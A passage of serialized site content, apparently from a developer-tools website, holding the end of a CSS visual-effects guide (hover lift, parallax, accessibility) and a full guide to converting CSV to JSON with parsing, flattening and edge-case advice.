0.6;\n}\n",[143,79913,79914,79920,79944,79955,79965],{"__ignoreMap":141},[1560,79915,79916,79918],{"class":1562,"line":1563},[1560,79917,56343],{"class":1566},[1560,79919,1571],{"class":1570},[1560,79921,79922,79924,79926,79928,79930,79932,79934,79936,79938,79940,79942],{"class":1562,"line":337},[1560,79923,5665],{"class":1576},[1560,79925,1663],{"class":1570},[1560,79927,46356],{"class":1576},[1560,79929,1688],{"class":1570},[1560,79931,46361],{"class":1576},[1560,79933,1694],{"class":1669},[1560,79935,1459],{"class":1570},[1560,79937,2260],{"class":1576},[1560,79939,1459],{"class":1570},[1560,79941,55458],{"class":1576},[1560,79943,1744],{"class":1570},[1560,79945,79946,79948,79950,79953],{"class":1562,"line":343},[1560,79947,79304],{"class":1576},[1560,79949,1663],{"class":1570},[1560,79951,79952],{"class":1576},"soft-light",[1560,79954,2228],{"class":1570},[1560,79956,79957,79959,79961,79963],{"class":1562,"line":365},[1560,79958,19700],{"class":1576},[1560,79960,1663],{"class":1570},[1560,79962,44082],{"class":1576},[1560,79964,2228],{"class":1570},[1560,79966,79967],{"class":1562,"line":889},[1560,79968,1585],{"class":1570},[11,79970,79972],{"id":79971},"real-world-examples","Real-World Examples",[33,79974,79976],{"id":79975},"hover-lift-effect","Hover Lift Effect",[16,79978,79979],{},"A subtle hover lift combines transform, box-shadow, and transition:",[135,79981,79983],{"className":1554,"code":79982,"language":1556,"meta":141,"style":141},".card {\n  transition: transform 0.2s ease, box-shadow 0.2s ease;\n}\n\n.card:hover {\n  transform: translateY(-6px) scale(1.01);\n  box-shadow: 0 12px 40px rgba(0, 0, 0, 0.25);\n}\n",[143,79984,79985,79991,80013,80017,80021,80027,80053,80089],{"__ignoreMap":141},[1560,79986,79987,79989],{"class":1562,"line":1563},[1560,79988,1567],{"class":1566},[1560,79990,1571],{"class":1570},[1560,79992,79993,79995,79997,79999,80001,80003,80005,80007,80009,80011],{"class":1562,"line":337},[1560,79994,18718],{"class":1576},[1560,79996,19594],{"class":1570},[1560,79998,18949],{"class":1576},[1560,80000,18727],{"class":1669},[1560,80002,18730],{"class":1576},[1560,80004,72657],{"class":1570},[1560,80006,18949],{"class":1576},[1560,80008,18727],{"class":1669},[1560,80010,18730],{"class":1576},[1560,80012,2228],{"class":1570},[1560,80014,80015],{"class":1562,"line":343},[1560,80016,1585],{"class":1570},[1560,80018,80019],{"class":1562,"line":365},[1560,80020,1702],{"emptyLinePlaceholder":363},[1560,80022,80023,80025],{"class":1562,"line":889},[1560,80024,18745],{"class":1566},[1560,80026,1571],{"class":1570},[1560,80028,80029,80031,80033,80035,80037,80040,80042,80044,80046,80048,80051],{"class":1562,"line":1710},[1560,80030,1720],{"class":1576},[1560,80032,1663],{"class":1570},[1560,80034,18845],{"class":1576},[1560,80036,1688],{"class":1570},[1560,80038,80039],{"class":1576},"-6",[1560,80041,1670],{"class":1669},[1560,80043,1733],{"class":1570},[1560,80045,45137],{"class":1576},[1560,80047,1688],{"class":1570},[1560,80049,80050],{"class":1576},"1.01",[1560,80052,1744],{"class":1570},[1560,80054,80055,80057,80059,80061,80063,80065,80067,80069,80071,80073,80075,80077,80079,80081,80083,80085,80087],{"class":1562,"line":1717},[1560,80056,18679],{"class":1576},[1560,80058,1663],{"class":1570},[1560,80060,5285],{"class":1576},[1560,80062,19321],{"class":1576},[1560,80064,1670],{"class":1669},[1560,80066,18343],{"class":1576},[1560,80068,1670],{"class":1669},[1560,80070,18694],{"class":1576},[1560,80072,1688],{"class":1570},[1560,80074,5285],{"class":1576},[1560,80076,1459],{"class":1570},[1560,80078,5285],{"class":1576},[1560,80080,1459],{"class":1570},[1560,80082,5285],{"class":1576},[1560,80084,1459],{"class":1570},[1560,80086,20057],{"class":1576},[1560,80088,1744],{"class":1570},[1560,80090,80091],{"class":1562,"line":1747},[1560,80092,1585],{"class":1570},[33,80094,80096],{"id":80095},"parallax-depth","Parallax Depth",[16,80098,20246,80099,12674,80101,80103],{},[143,80100,1469],{},[143,80102,1465],{}," to create depth layers:",[135,80105,80107],{"className":1554,"code":80106,"language":1556,"meta":141,"style":141},".parallax-container {\n  perspective: 1000px;\n  overflow-x: hidden;\n  overflow-y: auto;\n}\n\n.parallax-bg {\n  transform: translateZ(-2px) scale(3);\n}\n\n.parallax-fg {\n  transform: translateZ(0);\n}\n",[143,80108,80109,80116,80129,80139,80150,80154,80158,80165,80189,80193,80197,80204,80218],{"__ignoreMap":141},[1560,80110,80111,80114],{"class":1562,"line":1563},[1560,80112,80113],{"class":1566},".parallax-container",[1560,80115,1571],{"class":1570},[1560,80117,80118,80120,80122,80125,80127],{"class":1562,"line":337},[1560,80119,43703],{"class":1576},[1560,80121,1663],{"class":1570},[1560,80123,80124],{"class":1576},"1000",[1560,80126,1670],{"class":1669},[1560,80128,2228],{"class":1570},[1560,80130,80131,80133,80135,80137],{"class":1562,"line":343},[1560,80132,33326],{"class":1576},[1560,80134,1663],{"class":1570},[1560,80136,44183],{"class":1576},[1560,80138,2228],{"class":1570},[1560,80140,80141,80144,80146,80148],{"class":1562,"line":365},[1560,80142,80143],{"class":1576},"  overflow-y",[1560,80145,1663],{"class":1570},[1560,80147,33331],{"class":1576},[1560,80149,2228],{"class":1570},[1560,80151,80152],{"class":1562,"line":889},[1560,80153,1585],{"class":1570},[1560,80155,80156],{"class":1562,"line":1710},[1560,80157,1702],{"emptyLinePlaceholder":363},[1560,80159,80160,80163],{"class":1562,"line":1717},[1560,80161,80162],{"class":1566},".parallax-bg",[1560,80164,1571],{"class":1570},[1560,80166,80167,80169,80171,80173,80175,80177,80179,80181,80183,80185,80187],{"class":1562,"line":1747},[1560,80168,1720],{"class":1576},[1560,80170,1663],{"class":1570},[1560,80172,1465],{"class":1576},[1560,80174,1688],{"class":1570},[1560,80176,19759],{"class":1576},[1560,80178,1670],{"class":1669},[1560,80180,1733],{"class":1570},[1560,80182,45137],{"class":1576},[1560,80184,1688],{"class":1570},[1560,80186,17821],{"class":1576},[1560,80188,1744],{"class":1570},[1560,80190,80191],{"class":1562,"line":2507},[1560,80192,1585],{"class":1570},[1560,80194,80195],{"class":1562,"line":2524},[1560,80196,1702],{"emptyLinePlaceholder":363},[1560,80198,80199,80202],{"class":1562,"line":2529},[1560,80200,80201],{"class":1566},".parallax-fg",[1560,80203,1571],{"class":1570},[1560,80205,80206,80208,80210,80212,80214,80216],{"class":1562,"line":2534},[1560,80207,1720],{"class":1576},[1560,80209,1663],{"class":1570},[1560,80211,1465],{"class":1576},[1560,80213,1688],{"class":1570},[1560,80215,5285],{"class":1576},[1560,80217,1744],{"class":1570},[1560,80219,80220],{"class":1562,"line":2542},[1560,80221,1585],{"class":1570},[16,80223,80224,80225,80227,80228,80231],{},"Elements with negative ",[143,80226,1465],{}," scroll slower, creating a depth illusion. The ",[143,80229,80230],{},"scale(3)"," compensates for the perspective shrinkage.",[33,80233,80235],{"id":80234},"image-hover-effects","Image Hover Effects",[135,80237,80239],{"className":1554,"code":80238,"language":1556,"meta":141,"style":141},".thumbnail {\n  filter: grayscale(100%) brightness(0.8);\n  transition: filter 0.3s, transform 0.3s;\n}\n\n.thumbnail:hover {\n  filter: grayscale(0%) brightness(1);\n  transform: scale(1.03);\n}\n",[143,80240,80241,80248,80273,80291,80295,80299,80306,80330,80345],{"__ignoreMap":141},[1560,80242,80243,80246],{"class":1562,"line":1563},[1560,80244,80245],{"class":1566},".thumbnail",[1560,80247,1571],{"class":1570},[1560,80249,80250,80252,80254,80257,80259,80261,80263,80265,80267,80269,80271],{"class":1562,"line":337},[1560,80251,47101],{"class":1576},[1560,80253,1663],{"class":1570},[1560,80255,80256],{"class":1576},"grayscale",[1560,80258,1688],{"class":1570},[1560,80260,18114],{"class":1576},[1560,80262,17990],{"class":1669},[1560,80264,1733],{"class":1570},[1560,80266,79184],{"class":1576},[1560,80268,1688],{"class":1570},[1560,80270,36308],{"class":1576},[1560,80272,1744],{"class":1570},[1560,80274,80275,80277,80279,80281,80283,80285,80287,80289],{"class":1562,"line":343},[1560,80276,18718],{"class":1576},[1560,80278,79539],{"class":1570},[1560,80280,18724],{"class":1576},[1560,80282,18727],{"class":1669},[1560,80284,18956],{"class":1570},[1560,80286,18724],{"class":1576},[1560,80288,18727],{"class":1669},[1560,80290,2228],{"class":1570},[1560,80292,80293],{"class":1562,"line":365},[1560,80294,1585],{"class":1570},[1560,80296,80297],{"class":1562,"line":889},[1560,80298,1702],{"emptyLinePlaceholder":363},[1560,80300,80301,80304],{"class":1562,"line":1710},[1560,80302,80303],{"class":1566},".thumbnail:hover",[1560,80305,1571],{"class":1570},[1560,80307,80308,80310,80312,80314,80316,80318,80320,80322,80324,80326,80328],{"class":1562,"line":1717},[1560,80309,47101],{"class":1576},[1560,80311,1663],{"class":1570},[1560,80313,80256],{"class":1576},[1560,80315,1688],{"class":1570},[1560,80317,5285],{"class":1576},[1560,80319,17990],{"class":1669},[1560,80321,1733],{"class":1570},[1560,80323,79184],{"class":1576},[1560,80325,1688],{"class":1570},[1560,80327,3585],{"class":1576},[1560,80329,1744],{"class":1570},[1560,80331,80332,80334,80336,80338,80340,80343],{"class":1562,"line":1747},[1560,80333,1720],{"class":1576},[1560,80335,1663],{"class":1570},[1560,80337,45137],{"class":1576},[1560,80339,1688],{"class":1570},[1560,80341,80342],{"class":1576},"1.03",[1560,80344,1744],{"class":1570},[1560,80346,80347],{"class":1562,"line":2507},[1560,80348,1585],{"class":1570},[11,80350,80352],{"id":80351},"accessibility-notes","Accessibility Notes",[16,80354,80355],{},"Visual effects should never block content access.",[41,80357,80358,80364,80369],{},[44,80359,80360,80363],{},[47,80361,80362],{},"Blur and overlay",": Ensure text behind blurred or overlaid elements meets WCAG AA contrast (4.5:1 for body text)",[44,80365,80366,80368],{},[47,80367,79001],{},": Test in both light and dark themes — a blend mode that works on white may fail on dark surfaces",[44,80370,80371,80374,80375,80377],{},[47,80372,80373],{},"Animations",": Respect ",[143,80376,76327],{}," by disabling or minimizing transform transitions",[135,80379,80381],{"className":1554,"code":80380,"language":1556,"meta":141,"style":141},"@media (prefers-reduced-motion: reduce) {\n  .card {\n    transition: none;\n  }\n\n  .card:hover {\n    transform: none;\n  }\n}\n",[143,80382,80383,80389,80395,80406,80410,80414,80421,80431,80435],{"__ignoreMap":141},[1560,80384,80385,80387],{"class":1562,"line":1563},[1560,80386,17186],{"class":1669},[1560,80388,45321],{"class":1570},[1560,80390,80391,80393],{"class":1562,"line":337},[1560,80392,19889],{"class":1566},[1560,80394,1571],{"class":1570},[1560,80396,80397,80400,80402,80404],{"class":1562,"line":343},[1560,80398,80399],{"class":1576},"    transition",[1560,80401,1663],{"class":1570},[1560,80403,24609],{"class":1576},[1560,80405,2228],{"class":1570},[1560,80407,80408],{"class":1562,"line":365},[1560,80409,4959],{"class":1570},[1560,80411,80412],{"class":1562,"line":889},[1560,80413,1702],{"emptyLinePlaceholder":363},[1560,80415,80416,80419],{"class":1562,"line":1710},[1560,80417,80418],{"class":1566},"  .card:hover",[1560,80420,1571],{"class":1570},[1560,80422,80423,80425,80427,80429],{"class":1562,"line":1717},[1560,80424,46477],{"class":1576},[1560,80426,1663],{"class":1570},[1560,80428,24609],{"class":1576},[1560,80430,2228],{"class":1570},[1560,80432,80433],{"class":1562,"line":1747},[1560,80434,4959],{"class":1570},[1560,80436,80437],{"class":1562,"line":2507},[1560,80438,1585],{"class":1570},[11,80440,1355],{"id":1354},[41,80442,80443,80446,80449,80452,80455],{},[44,80444,80445],{},"Transforms change geometry, filters change appearance, blend modes mix layers",[44,80447,80448],{},"Use transforms and opacity for animations — they skip layout and paint",[44,80450,80451],{},"Filters like blur and grayscale are cheap to apply but expensive to animate",[44,80453,80454],{},"Blend modes create rich visual layers but cost compositing time",[44,80456,80457],{},"Always test visual effects for contrast and reduced-motion accessibility",[11,80459,286],{"id":285},[16,80461,80462,80463,80465,80466,80468,80469,468],{},"Build and preview CSS transforms with our ",[98,80464,2018],{"href":2017},". Fine-tune shadows with the ",[98,80467,20279],{"href":20278},". Shape borders with the ",[98,80470,17644],{"href":17643},[11,80472,321],{"id":320},[41,80474,80475,80480],{},[44,80476,80477,80479],{},[98,80478,2029],{"href":2028}," — Deep dive into translate, rotate, scale, and skew",[44,80481,80482,80484],{},[98,80483,2035],{"href":2034}," — Turn transforms and filters into smooth motion",[2043,80486,62534],{},{"title":141,"searchDepth":337,"depth":337,"links":80488},[80489,80490,80491,80496,80499,80504,80509,80510,80511,80512],{"id":78978,"depth":337,"text":78979},{"id":79008,"depth":337,"text":79009},{"id":41981,"depth":337,"text":41982,"children":80492},[80493,80494,80495],{"id":79080,"depth":343,"text":79081},{"id":79138,"depth":343,"text":79139},{"id":79252,"depth":343,"text":79253},{"id":8285,"depth":337,"text":8286,"children":80497},[80498],{"id":79406,"depth":343,"text":79407},{"id":79555,"depth":337,"text":79556,"children":80500},[80501,80502,80503],{"id":79562,"depth":343,"text":79563},{"id":79800,"depth":343,"text":79801},{"id":79907,"depth":343,"text":79908},{"id":79971,"depth":337,"text":79972,"children":80505},[80506,80507,80508],{"id":79975,"depth":343,"text":79976},{"id":80095,"depth":343,"text":80096},{"id":80234,"depth":343,"text":80235},{"id":80351,"depth":337,"text":80352},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Explore CSS transforms, filters, and blend modes — the building blocks for rich visual effects on the web.",{"immutable":363},{"title":2041,"description":80513},"guides\u002Fcss-visual-effects","LxM4TeU4kivxpicvuEtUE8xf4XD99xumpQmWjnEbqls",{"id":80519,"title":80520,"body":80521,"date":2070,"description":81235,"extension":361,"meta":81236,"navigation":363,"path":81240,"readingTime":7146,"seo":81241,"stem":81242,"__hash__":81243},"guides\u002Fguides\u002Fcsv-json-conversion-guide.md","CSV to JSON Conversion Guide: Transform Your Data",{"type":8,"value":80522,"toc":81222},[80523,80527,80530,80533,80537,80540,80546,80549,80584,80588,80591,80722,80725,80729,80732,80764,80771,80851,80854,80858,80861,80864,80920,80923,80965,80968,80972,80975,81028,81032,81110,81121,81125,81128,81160,81162,81182,81184,81187,81196,81198,81219],[11,80524,80526],{"id":80525},"what-is-csv-to-json-conversion","What Is CSV to JSON Conversion?",[16,80528,80529],{},"CSV (Comma-Separated Values) and JSON (JavaScript Object Notation) are two of the most common data formats. CSV stores tabular data as plain text rows, while JSON represents structured data as key-value pairs. Converting between them lets you move data between spreadsheets, APIs, databases, and web applications.",[16,80531,80532],{},"You might convert CSV to JSON when importing spreadsheet data into a web API. You might go the other direction when exporting API responses into a report. Both directions have quirks that trip up developers.",[11,80534,80536],{"id":80535},"csv-structure-basics","CSV Structure Basics",[16,80538,80539],{},"A CSV file is deceptively simple — rows of values separated by commas. But the format has rules that many people overlook.",[135,80541,80544],{"className":80542,"code":80543,"language":140},[138],"name,age,city\nAlice,30,New York\nBob,25,\"Los Angeles\"\nCarol,,Chicago\n",[143,80545,80543],{"__ignoreMap":141},[16,80547,80548],{},"Key elements:",[41,80550,80551,80557,80563,80569,80578],{},[44,80552,80553,80556],{},[47,80554,80555],{},"Header row",": The first row typically defines column names.",[44,80558,80559,80562],{},[47,80560,80561],{},"Delimiter",": Commas are standard, but tabs (TSV) and semicolons are common in European locales.",[44,80564,80565,80568],{},[47,80566,80567],{},"Quoting",": Fields containing commas, line breaks, or quotes must be wrapped in double quotes.",[44,80570,80571,80574,80575,468],{},[47,80572,80573],{},"Escaping",": A double quote inside a quoted field becomes two double quotes — ",[143,80576,80577],{},"\"He said \"\"hello\"\"\"",[44,80579,80580,80583],{},[47,80581,80582],{},"Missing values",": Empty fields between delimiters represent null or empty data.",[11,80585,80587],{"id":80586},"json-structure-for-tabular-data","JSON Structure for Tabular Data",[16,80589,80590],{},"JSON represents tabular data as an array of objects. Each object corresponds to one row, with keys drawn from the CSV headers.",[135,80592,80594],{"className":23484,"code":80593,"language":23486,"meta":141,"style":141},"[\n  {\n    \"name\": \"Alice\",\n    \"age\": 30,\n    \"city\": \"New York\"\n  },\n  {\n    \"name\": \"Bob\",\n    \"age\": 25,\n    \"city\": \"Los Angeles\"\n  },\n  {\n    \"name\": \"Carol\",\n    \"age\": null,\n    \"city\": \"Chicago\"\n  }\n]\n",[143,80595,80596,80601,80606,80616,80627,80637,80641,80645,80656,80666,80675,80679,80683,80694,80705,80714,80718],{"__ignoreMap":141},[1560,80597,80598],{"class":1562,"line":1563},[1560,80599,80600],{"class":1570},"[\n",[1560,80602,80603],{"class":1562,"line":337},[1560,80604,80605],{"class":1570},"  {\n",[1560,80607,80608,80610,80612,80614],{"class":1562,"line":343},[1560,80609,37103],{"class":1576},[1560,80611,1663],{"class":1570},[1560,80613,23503],{"class":5634},[1560,80615,11943],{"class":1570},[1560,80617,80618,80621,80623,80625],{"class":1562,"line":365},[1560,80619,80620],{"class":1576},"    \"age\"",[1560,80622,1663],{"class":1570},[1560,80624,23995],{"class":1576},[1560,80626,11943],{"class":1570},[1560,80628,80629,80632,80634],{"class":1562,"line":889},[1560,80630,80631],{"class":1576},"    \"city\"",[1560,80633,1663],{"class":1570},[1560,80635,80636],{"class":5634},"\"New York\"\n",[1560,80638,80639],{"class":1562,"line":1710},[1560,80640,11862],{"class":1570},[1560,80642,80643],{"class":1562,"line":1717},[1560,80644,80605],{"class":1570},[1560,80646,80647,80649,80651,80654],{"class":1562,"line":1747},[1560,80648,37103],{"class":1576},[1560,80650,1663],{"class":1570},[1560,80652,80653],{"class":5634},"\"Bob\"",[1560,80655,11943],{"class":1570},[1560,80657,80658,80660,80662,80664],{"class":1562,"line":2507},[1560,80659,80620],{"class":1576},[1560,80661,1663],{"class":1570},[1560,80663,22036],{"class":1576},[1560,80665,11943],{"class":1570},[1560,80667,80668,80670,80672],{"class":1562,"line":2524},[1560,80669,80631],{"class":1576},[1560,80671,1663],{"class":1570},[1560,80673,80674],{"class":5634},"\"Los Angeles\"\n",[1560,80676,80677],{"class":1562,"line":2529},[1560,80678,11862],{"class":1570},[1560,80680,80681],{"class":1562,"line":2534},[1560,80682,80605],{"class":1570},[1560,80684,80685,80687,80689,80692],{"class":1562,"line":2542},[1560,80686,37103],{"class":1576},[1560,80688,1663],{"class":1570},[1560,80690,80691],{"class":5634},"\"Carol\"",[1560,80693,11943],{"class":1570},[1560,80695,80696,80698,80700,80703],{"class":1562,"line":2558},[1560,80697,80620],{"class":1576},[1560,80699,1663],{"class":1570},[1560,80701,80702],{"class":1576},"null",[1560,80704,11943],{"class":1570},[1560,80706,80707,80709,80711],{"class":1562,"line":2570},[1560,80708,80631],{"class":1576},[1560,80710,1663],{"class":1570},[1560,80712,80713],{"class":5634},"\"Chicago\"\n",[1560,80715,80716],{"class":1562,"line":6638},[1560,80717,4959],{"class":1570},[1560,80719,80720],{"class":1562,"line":11615},[1560,80721,37203],{"class":1570},[16,80723,80724],{},"This structure is what most APIs expect when you send tabular data.",[11,80726,80728],{"id":80727},"csv-to-json-the-parsing-algorithm","CSV to JSON: The Parsing Algorithm",[16,80730,80731],{},"Converting CSV to JSON follows these steps:",[77,80733,80734,80740,80746,80752,80758],{},[44,80735,80736,80739],{},[47,80737,80738],{},"Read the header row"," — split on the delimiter to get column names.",[44,80741,80742,80745],{},[47,80743,80744],{},"Read each data row"," — split on the delimiter, respecting quoting rules.",[44,80747,80748,80751],{},[47,80749,80750],{},"Map values to keys"," — pair each value with its corresponding header.",[44,80753,80754,80757],{},[47,80755,80756],{},"Handle types"," — convert numeric strings to numbers, empty strings to null, and quoted values to strings.",[44,80759,80760,80763],{},[47,80761,80762],{},"Collect rows into an array"," — build the final JSON array.",[16,80765,80766,80767,80770],{},"The critical step is splitting correctly. A naive ",[143,80768,80769],{},"split(\",\")"," breaks on every comma, including commas inside quoted fields.",[135,80772,80774],{"className":1607,"code":80773,"language":1609,"meta":141,"style":141},"\u002F\u002F Naive — breaks on quoted commas\nconst values = row.split(\",\");\n\n\u002F\u002F Correct — use a proper CSV parser\nimport Papa from 'papaparse';\nconst result = Papa.parse(csvString, { header: true, dynamicTyping: true });\n",[143,80775,80776,80781,80801,80805,80810,80824],{"__ignoreMap":141},[1560,80777,80778],{"class":1562,"line":1563},[1560,80779,80780],{"class":1649},"\u002F\u002F Naive — breaks on quoted commas\n",[1560,80782,80783,80785,80787,80789,80792,80794,80796,80799],{"class":1562,"line":337},[1560,80784,8180],{"class":1669},[1560,80786,33610],{"class":1576},[1560,80788,8186],{"class":1669},[1560,80790,80791],{"class":1570}," row.",[1560,80793,9356],{"class":1566},[1560,80795,1688],{"class":1570},[1560,80797,80798],{"class":5634},"\",\"",[1560,80800,1744],{"class":1570},[1560,80802,80803],{"class":1562,"line":343},[1560,80804,1702],{"emptyLinePlaceholder":363},[1560,80806,80807],{"class":1562,"line":365},[1560,80808,80809],{"class":1649},"\u002F\u002F Correct — use a proper CSV parser\n",[1560,80811,80812,80814,80817,80819,80822],{"class":1562,"line":889},[1560,80813,8162],{"class":1669},[1560,80815,80816],{"class":1570}," Papa ",[1560,80818,8168],{"class":1669},[1560,80820,80821],{"class":5634}," 'papaparse'",[1560,80823,2228],{"class":1570},[1560,80825,80826,80828,80831,80833,80836,80839,80842,80844,80847,80849],{"class":1562,"line":1710},[1560,80827,8180],{"class":1669},[1560,80829,80830],{"class":1576}," result",[1560,80832,8186],{"class":1669},[1560,80834,80835],{"class":1570}," Papa.",[1560,80837,80838],{"class":1566},"parse",[1560,80840,80841],{"class":1570},"(csvString, { header: ",[1560,80843,20533],{"class":1576},[1560,80845,80846],{"class":1570},", dynamicTyping: ",[1560,80848,20533],{"class":1576},[1560,80850,11630],{"class":1570},[16,80852,80853],{},"Always use a CSV parser library in production. Hand-rolled splitting logic fails on edge cases.",[11,80855,80857],{"id":80856},"json-to-csv-the-flattening-problem","JSON to CSV: The Flattening Problem",[16,80859,80860],{},"Going from JSON to CSV is not always a simple reverse. JSON supports nested objects and arrays — CSV is flat. You must decide how to handle nested data.",[16,80862,80863],{},"Consider this JSON:",[135,80865,80867],{"className":23484,"code":80866,"language":23486,"meta":141,"style":141},"{\n  \"name\": \"Alice\",\n  \"address\": {\n    \"city\": \"New York\",\n    \"zip\": \"10001\"\n  }\n}\n",[143,80868,80869,80873,80884,80891,80902,80912,80916],{"__ignoreMap":141},[1560,80870,80871],{"class":1562,"line":1563},[1560,80872,23493],{"class":1570},[1560,80874,80875,80878,80880,80882],{"class":1562,"line":337},[1560,80876,80877],{"class":1576},"  \"name\"",[1560,80879,1663],{"class":1570},[1560,80881,23503],{"class":5634},[1560,80883,11943],{"class":1570},[1560,80885,80886,80889],{"class":1562,"line":343},[1560,80887,80888],{"class":1576},"  \"address\"",[1560,80890,37098],{"class":1570},[1560,80892,80893,80895,80897,80900],{"class":1562,"line":365},[1560,80894,80631],{"class":1576},[1560,80896,1663],{"class":1570},[1560,80898,80899],{"class":5634},"\"New York\"",[1560,80901,11943],{"class":1570},[1560,80903,80904,80907,80909],{"class":1562,"line":889},[1560,80905,80906],{"class":1576},"    \"zip\"",[1560,80908,1663],{"class":1570},[1560,80910,80911],{"class":5634},"\"10001\"\n",[1560,80913,80914],{"class":1562,"line":1710},[1560,80915,4959],{"class":1570},[1560,80917,80918],{"class":1562,"line":1717},[1560,80919,1585],{"class":1570},[16,80921,80922],{},"Two common strategies:",[193,80924,80925,80937],{},[196,80926,80927],{},[199,80928,80929,80931,80934],{},[202,80930,39330],{},[202,80932,80933],{},"CSV Output",[202,80935,80936],{},"Trade-off",[211,80938,80939,80952],{},[199,80940,80941,80944,80949],{},[216,80942,80943],{},"Dot notation",[216,80945,80946],{},[143,80947,80948],{},"name,address.city,address.zip",[216,80950,80951],{},"Flat headers, readable",[199,80953,80954,80957,80962],{},[216,80955,80956],{},"JSON string",[216,80958,80959],{},[143,80960,80961],{},"name,address",[216,80963,80964],{},"Preserves structure, not human-readable",[16,80966,80967],{},"Dot notation is the most practical approach for most use cases. Deeply nested data or arrays of objects may require custom flattening logic.",[11,80969,80971],{"id":80970},"edge-cases-that-break-conversions","Edge Cases That Break Conversions",[16,80973,80974],{},"These scenarios cause most conversion errors:",[41,80976,80977,80986,80994,81000,81006,81012,81018],{},[44,80978,80979,1663,80982,80985],{},[47,80980,80981],{},"Commas inside quoted fields",[143,80983,80984],{},"\"Smith, Jr.\",30"," — a naive split produces three values instead of two.",[44,80987,80988,80991,80992,468],{},[47,80989,80990],{},"Line breaks in quoted fields",": A single CSV row can span multiple lines if a quoted field contains ",[143,80993,8222],{},[44,80995,80996,80999],{},[47,80997,80998],{},"Inconsistent quoting",": Some rows quote a field, others do not. Parsers handle this, but manual splits fail.",[44,81001,81002,81005],{},[47,81003,81004],{},"Missing columns",": A row with fewer values than headers — the parser must pad with nulls.",[44,81007,81008,81011],{},[47,81009,81010],{},"Extra columns",": A row with more values than headers — the parser must either ignore or create dynamic keys.",[44,81013,81014,81017],{},[47,81015,81016],{},"Encoding issues",": BOM markers, non-UTF-8 encodings, and special characters cause silent corruption.",[44,81019,81020,81023,81024,81027],{},[47,81021,81022],{},"Numeric vs string ambiguity",": CSV has no type system. ",[143,81025,81026],{},"\"12345\""," could be a string or a number. JSON requires you to choose.",[11,81029,81031],{"id":81030},"common-errors-and-fixes","Common Errors and Fixes",[193,81033,81034,81044],{},[196,81035,81036],{},[199,81037,81038,81040,81042],{},[202,81039,4272],{},[202,81041,59374],{},[202,81043,3690],{},[211,81045,81046,81057,81066,81077,81088,81099],{},[199,81047,81048,81051,81054],{},[216,81049,81050],{},"Misaligned columns",[216,81052,81053],{},"Unquoted commas in fields",[216,81055,81056],{},"Use a proper CSV parser",[199,81058,81059,81062,81064],{},[216,81060,81061],{},"Broken rows",[216,81063,80990],{},[216,81065,81056],{},[199,81067,81068,81071,81074],{},[216,81069,81070],{},"Wrong data types",[216,81072,81073],{},"Numbers stored as strings",[216,81075,81076],{},"Enable dynamic typing in your parser",[199,81078,81079,81082,81085],{},[216,81080,81081],{},"Lost nested data",[216,81083,81084],{},"Flattening drops objects",[216,81086,81087],{},"Use dot-notation flattening",[199,81089,81090,81093,81096],{},[216,81091,81092],{},"Encoding corruption",[216,81094,81095],{},"Non-UTF-8 source files",[216,81097,81098],{},"Convert encoding before parsing",[199,81100,81101,81104,81107],{},[216,81102,81103],{},"Silent nulls",[216,81105,81106],{},"Empty fields mapped to empty strings",[216,81108,81109],{},"Explicitly map empty strings to null",[16,81111,81112,81113,81116,81117,81120],{},"The single most impactful fix: stop writing your own CSV splitter. Use a library like PapaParse (JavaScript), Python's ",[143,81114,81115],{},"csv"," module, or Ruby's ",[143,81118,81119],{},"CSV"," class.",[11,81122,81124],{"id":81123},"conversion-workflow-tips","Conversion Workflow Tips",[16,81126,81127],{},"Follow these practices for reliable conversions:",[41,81129,81130,81136,81142,81148,81154],{},[44,81131,81132,81135],{},[47,81133,81134],{},"Validate before converting"," — check that headers exist, row lengths are consistent, and encoding is UTF-8.",[44,81137,81138,81141],{},[47,81139,81140],{},"Preserve types explicitly"," — define which columns are strings, numbers, or dates before parsing.",[44,81143,81144,81147],{},[47,81145,81146],{},"Handle errors gracefully"," — log rows that fail to parse instead of silently skipping them.",[44,81149,81150,81153],{},[47,81151,81152],{},"Test with real data"," — synthetic test data rarely contains the quoting edge cases that break production.",[44,81155,81156,81159],{},[47,81157,81158],{},"Round-trip check"," — convert CSV to JSON and back, then diff the result. Mismatches reveal parsing bugs.",[11,81161,1355],{"id":1354},[41,81163,81164,81167,81170,81173,81176,81179],{},[44,81165,81166],{},"CSV and JSON serve different purposes — tabular storage versus structured data interchange.",[44,81168,81169],{},"Naive comma splitting fails on quoted fields, embedded line breaks, and inconsistent quoting.",[44,81171,81172],{},"Always use a CSV parser library instead of writing your own split logic.",[44,81174,81175],{},"JSON-to-CSV conversion requires flattening nested objects — dot notation is the most practical approach.",[44,81177,81178],{},"Empty fields, type ambiguity, and encoding mismatches are the most common sources of silent data corruption.",[44,81180,81181],{},"Validate, convert, then validate again — the round-trip test catches most conversion bugs.",[11,81183,286],{"id":285},[16,81185,81186],{},"Convert your CSV and JSON files in seconds:",[41,81188,81189],{},[44,81190,81191,81195],{},[98,81192,81194],{"href":81193},"\u002Ftools\u002Fcsv-json","CSV to JSON Converter"," — Convert CSV to JSON and JSON to CSV with delimiter and type options",[11,81197,321],{"id":320},[41,81199,81200,81207,81214],{},[44,81201,81202,81206],{},[98,81203,81205],{"href":81204},"\u002Fguides\u002Fdata-format-comparison","Data Format Comparison: CSV, JSON, XML, and YAML"," — Side-by-side comparison of all four formats",[44,81208,81209,81213],{},[98,81210,81212],{"href":81211},"\u002Fguides\u002Fdata-transformation-tools","Data Transformation Tools"," — Essential converters and validators for developer workflows",[44,81215,81216,81218],{},[98,81217,37788],{"href":37787}," — When to choose JSON or YAML for configuration",[2043,81220,81221],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: 